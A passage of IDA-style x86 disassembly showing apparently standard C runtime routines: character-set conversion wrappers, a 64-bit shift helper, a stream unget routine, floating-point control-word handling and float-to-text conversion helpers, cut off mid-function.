; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424663	proc near		; CODE XREF: sub_41FF3F+2D4p
					; sub_41FF3F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_42466F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42466F:				; CODE XREF: sub_424663+8j
		cmp	dword_4DBE94, 0
		jnz	short loc_42468A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4246BC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: sub_424663+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43D094
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBEA4
		call	dword_427188	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4246BC
		cmp	[ebp+arg_0], 0
		jz	short loc_4246C9


loc_4246BC:				; CODE XREF: sub_424663+1Ej
					; sub_424663+51j
		mov	dword_4DBDEC, 2Ah
		or	eax, 0FFFFFFFFh


loc_4246C9:				; CODE XREF: sub_424663+57j
		pop	ebp
		retn
sub_424663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246CB	proc near		; CODE XREF: sub_420DB0+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4246EE
		cmp	[ebp+arg_8], ebx
		jz	short loc_4246EE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4246F4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4246EE
		mov	[eax], bx


loc_4246EE:				; CODE XREF: sub_4246CB+Cj
					; sub_4246CB+11j ...
		xor	eax, eax


loc_4246F0:				; CODE XREF: sub_4246CB+42j
					; sub_4246CB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4246F4:				; CODE XREF: sub_4246CB+17j
		cmp	dword_4DBE94, ebx
		jnz	short loc_42470F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42470A
		movzx	ax, al
		mov	[ecx], ax


loc_42470A:				; CODE XREF: sub_4246CB+36j
					; sub_4246CB+C0j
		push	1
		pop	eax
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42470F:				; CODE XREF: sub_4246CB+2Fj
		mov	ecx, off_43CE88
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42476C
		mov	eax, dword_43D094
		cmp	eax, 1
		jle	short loc_424753
		cmp	[ebp+arg_8], eax
		jl	short loc_42475D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBEA4
		call	dword_4270E8	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_43D094
		jnz	short loc_4246F0


loc_424753:				; CODE XREF: sub_4246CB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_42475D
		cmp	[esi+1], bl
		jnz	short loc_4246F0


loc_42475D:				; CODE XREF: sub_4246CB+61j
					; sub_4246CB+8Bj ...
		mov	dword_4DBDEC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42476C:				; CODE XREF: sub_4246CB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBEA4
		call	dword_4270E8	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_42470A
		jmp	short loc_42475D
sub_4246CB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4247A0	proc near		; CODE XREF: sub_420DB0+797p
					; sub_420DB0+7E7p
		cmp	cl, 40h
		jnb	short loc_4247BA
		cmp	cl, 20h
		jnb	short loc_4247B0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4247B0:				; CODE XREF: sub_4247A0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4247BA:				; CODE XREF: sub_4247A0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4247A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247BF	proc near		; CODE XREF: sub_421826+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42480B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_4247DD
		test	al, 80h
		jz	short loc_42480B
		test	al, 2
		jnz	short loc_42480B


loc_4247DD:				; CODE XREF: sub_4247BF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4247EA
		push	esi
		call	sub_4241F7
		pop	ecx


loc_4247EA:				; CODE XREF: sub_4247BF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4247FA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42480B
		inc	eax
		mov	[esi], eax


loc_4247FA:				; CODE XREF: sub_4247BF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424811
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424817
		inc	eax
		mov	[esi], eax


loc_42480B:				; CODE XREF: sub_4247BF+9j
					; sub_4247BF+18j ...
		or	eax, 0FFFFFFFFh


loc_42480E:				; CODE XREF: sub_4247BF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424811:				; CODE XREF: sub_4247BF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424817:				; CODE XREF: sub_4247BF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42480E
sub_4247BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42482D	proc near		; CODE XREF: sub_421E16+52p
		xor	eax, eax
		retn
sub_42482D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424830	proc near		; CODE XREF: sub_424865+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42487B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42490D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424830	endp


; =============== S U B	R O U T	I N E =======================================



sub_424865	proc near		; CODE XREF: sub_422102+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424830
		pop	ecx
		pop	ecx
		retn
sub_424865	endp


; =============== S U B	R O U T	I N E =======================================



sub_42487B	proc near		; CODE XREF: sub_424830+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42488C
		push	10h
		pop	eax


loc_42488C:				; CODE XREF: sub_42487B+Cj
		test	bl, 4
		jz	short loc_424893
		or	al, 8


loc_424893:				; CODE XREF: sub_42487B+14j
		test	bl, 8
		jz	short loc_42489A
		or	al, 4


loc_42489A:				; CODE XREF: sub_42487B+1Bj
		test	bl, 10h
		jz	short loc_4248A1
		or	al, 2


loc_4248A1:				; CODE XREF: sub_42487B+22j
		test	bl, 20h
		jz	short loc_4248A8
		or	al, 1


loc_4248A8:				; CODE XREF: sub_42487B+29j
		test	bl, 2
		jz	short loc_4248B2
		or	eax, 80000h


loc_4248B2:				; CODE XREF: sub_42487B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4248EA
		cmp	edx, 400h
		jz	short loc_4248E7
		cmp	edx, 800h
		jz	short loc_4248E3
		cmp	edx, esi
		jnz	short loc_4248EA
		or	eax, edi
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E3:				; CODE XREF: sub_42487B+5Ej
		or	eax, ebp
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E7:				; CODE XREF: sub_42487B+56j
		or	ah, 1


loc_4248EA:				; CODE XREF: sub_42487B+4Ej
					; sub_42487B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4248FA
		cmp	ecx, ebp
		jnz	short loc_4248FF
		or	eax, 10000h
		jmp	short loc_4248FF
; ---------------------------------------------------------------------------


loc_4248FA:				; CODE XREF: sub_42487B+72j
		or	eax, 20000h


loc_4248FF:				; CODE XREF: sub_42487B+76j
					; sub_42487B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42490C
		or	eax, 40000h

locret_42490C:				; CODE XREF: sub_42487B+8Aj
		retn
sub_42487B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42490D	proc near		; CODE XREF: sub_424830+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42491D
		push	1
		pop	eax


loc_42491D:				; CODE XREF: sub_42490D+Bj
		test	bl, 8
		jz	short loc_424924
		or	al, 4


loc_424924:				; CODE XREF: sub_42490D+13j
		test	bl, 4
		jz	short loc_42492B
		or	al, 8


loc_42492B:				; CODE XREF: sub_42490D+1Aj
		test	bl, 2
		jz	short loc_424932
		or	al, 10h


loc_424932:				; CODE XREF: sub_42490D+21j
		test	bl, 1
		jz	short loc_424939
		or	al, 20h


loc_424939:				; CODE XREF: sub_42490D+28j
		test	ebx, 80000h
		jz	short loc_424943
		or	al, 2


loc_424943:				; CODE XREF: sub_42490D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424970
		cmp	ecx, 100h
		jz	short loc_42496D
		cmp	ecx, esi
		jz	short loc_424968
		cmp	ecx, edx
		jnz	short loc_424970
		or	ah, 0Ch
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_424968:				; CODE XREF: sub_42490D+50j
		or	ah, 8
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_42496D:				; CODE XREF: sub_42490D+4Cj
		or	ah, 4


loc_424970:				; CODE XREF: sub_42490D+44j
					; sub_42490D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424986
		cmp	ecx, 10000h
		jnz	short loc_424988
		or	eax, esi
		jmp	short loc_424988
; ---------------------------------------------------------------------------


loc_424986:				; CODE XREF: sub_42490D+6Bj
		or	eax, edx


loc_424988:				; CODE XREF: sub_42490D+73j
					; sub_42490D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424995
		or	ah, 10h

locret_424995:				; CODE XREF: sub_42490D+83j
		retn
sub_42490D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424996	proc near		; CODE XREF: sub_424A35+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4249DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4249D6
		lea	eax, [eax+esi*4]


loc_4249C8:				; CODE XREF: sub_424996+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4249DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4249C8


loc_4249D6:				; CODE XREF: sub_424996+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4249DB:				; CODE XREF: sub_424996+27j
					; sub_424996+35j
		xor	eax, eax
		pop	esi
		retn
sub_424996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249DF	proc near		; CODE XREF: sub_424A35+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		js	short loc_424A31
		lea	edi, [ebx+esi*4]


loc_424A18:				; CODE XREF: sub_4249DF+50j
		test	eax, eax
		jz	short loc_424A31
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424A18


loc_424A31:				; CODE XREF: sub_4249DF+34j
					; sub_4249DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4249DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A35	proc near		; CODE XREF: sub_424B90+81p
					; sub_424B90+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424A99
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424996
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424A96
		push	edi
		push	[ebp+arg_0]
		call	sub_4249DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424A96:				; CODE XREF: sub_424A35+51j
		mov	eax, [ebp+arg_4]


loc_424A99:				; CODE XREF: sub_424A35+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424AB9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424AB9:				; CODE XREF: sub_424A35+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AC1	proc near		; CODE XREF: sub_424B90+75p
					; sub_424B90+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_424ACF:				; CODE XREF: sub_424AC1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_424ACF
		pop	esi
		retn
sub_424AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_424ADC	proc near		; CODE XREF: sub_424B90+5Fp
					; sub_424B90+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_424ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AE8	proc near		; CODE XREF: sub_424B90+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_424AEE:				; CODE XREF: sub_424AE8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424B00
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_424AEE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424B00:				; CODE XREF: sub_424AE8+9j
		xor	eax, eax
		retn
sub_424AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B03	proc near		; CODE XREF: sub_424B90+C0p
					; sub_424B90+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424B39:				; CODE XREF: sub_424B03+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424B39
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_424B6B:				; CODE XREF: sub_424B03+86j
		cmp	ebx, edi
		jl	short loc_424B7E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424B85
; ---------------------------------------------------------------------------


loc_424B7E:				; CODE XREF: sub_424B03+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424B85:				; CODE XREF: sub_424B03+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_424B6B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B90	proc near		; CODE XREF: sub_424CFC+Dp
					; sub_424D12+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_424BFD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424AE8
		test	eax, eax
		pop	ecx
		jnz	loc_424CBC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx


loc_424BF5:				; CODE XREF: sub_424B90+E4j
		push	2


loc_424BF7:				; CODE XREF: sub_424B90+110j
		pop	eax
		jmp	loc_424CBE
; ---------------------------------------------------------------------------


loc_424BFD:				; CODE XREF: sub_424B90+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424AC1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		add	esp, 10h
		test	eax, eax
		jz	short loc_424C1E
		inc	ebx


loc_424C1E:				; CODE XREF: sub_424B90+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424C36
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx
		jmp	short loc_424C72
; ---------------------------------------------------------------------------


loc_424C36:				; CODE XREF: sub_424B90+98j
		cmp	ebx, eax
		jg	short loc_424C79
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AC1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424B03
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		add	esp, 20h


loc_424C72:				; CODE XREF: sub_424B90+A4j
		xor	esi, esi
		jmp	loc_424BF5
; ---------------------------------------------------------------------------


loc_424C79:				; CODE XREF: sub_424B90+A8j
		cmp	ebx, [edi]
		jl	short loc_424CA5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424BF7
; ---------------------------------------------------------------------------


loc_424CA5:				; CODE XREF: sub_424B90+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424B03
		pop	ecx
		pop	ecx


loc_424CBC:				; CODE XREF: sub_424B90+55j
		xor	eax, eax


loc_424CBE:				; CODE XREF: sub_424B90+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_424CED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424CF7
; ---------------------------------------------------------------------------


loc_424CED:				; CODE XREF: sub_424B90+14Ej
		cmp	edi, 20h
		jnz	short loc_424CF7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424CF7:				; CODE XREF: sub_424B90+15Bj
					; sub_424B90+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_424CFC	proc near		; CODE XREF: sub_424D28+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D808
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424CFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D12	proc near		; CODE XREF: sub_424D55+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D820
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D28	proc near		; CODE XREF: sub_42223B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424CFC
		add	esp, 24h
		leave
		retn
sub_424D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D55	proc near		; CODE XREF: sub_42223B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D12
		add	esp, 24h
		leave
		retn
sub_424D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D82	proc near		; CODE XREF: sub_422279+65p
					; sub_42237D+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_424DBF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424DA5:				; CODE XREF: sub_424D82+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424DB1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424DB4
; ---------------------------------------------------------------------------


loc_424DB1:				; CODE XREF: sub_424D82+27j
		push	30h
		pop	edx


loc_424DB4:				; CODE XREF: sub_424D82+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424DA5
		mov	edx, [ebp+arg_8]


loc_424DBF:				; CODE XREF: sub_424D82+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424DD8
		cmp	byte ptr [ecx],	35h
		jl	short loc_424DD8


loc_424DCB:				; CODE XREF: sub_424D82+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424DD6
		mov	byte ptr [eax],	30h
		jmp	short loc_424DCB
; ---------------------------------------------------------------------------


loc_424DD6:				; CODE XREF: sub_424D82+4Dj
		inc	byte ptr [eax]


loc_424DD8:				; CODE XREF: sub_424D82+42j
					; sub_424D82+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424DE2
		inc	dword ptr [edx+4]
		jmp	short loc_424DF4
; ---------------------------------------------------------------------------


loc_424DE2:				; CODE XREF: sub_424D82+59j
		push	edi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D670
		add	esp, 10h


loc_424DF4:				; CODE XREF: sub_424D82+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424D82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DF9	proc near		; CODE XREF: sub_422279+3Fp
					; sub_42237D+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424E5D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBFC8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425973
		mov	dword_4DBFF0, eax
		add	esp, 18h
		movsx	eax, byte_4DBFCA
		mov	dword_4DBFE8, eax
		pop	edi
		movsx	eax, word_4DBFC8
		mov	dword_4DBFEC, eax
		mov	dword_4DBFF4, offset dword_4DBFCC
		mov	eax, offset dword_4DBFE8
		pop	esi
		leave
		retn
sub_424DF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E5D	proc near		; CODE XREF: sub_424DF9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
